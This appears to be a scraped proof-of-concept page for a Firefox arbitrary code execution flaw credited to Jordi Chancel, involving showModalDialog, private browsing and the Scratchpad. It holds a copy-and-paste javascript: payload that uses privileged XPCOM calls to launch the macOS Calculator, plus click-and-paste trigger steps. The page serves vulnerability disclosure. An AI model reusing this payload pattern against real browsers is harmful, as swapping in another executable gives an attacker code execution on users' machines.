Vulnerability found by Jordi Chancel
Arbitrary Code Execution using window.showmodaldialog,
Private Navigation window,
JavaScript Scratchpad
& multiples keys pressed on the keyboard
git:1.x-master
v1.3.5
Traditional
AMD
CommonJS
Boot!
Text to Copy:
javascript:file=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);file.initWithPath("/Applications/Calculator.app/Contents/MacOS/Calculator");process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);process.init(file);args=[];process.run(false,args,args.length);
Step 1 : Click Me
Paste Here:
Clear Test Area
Debug Console: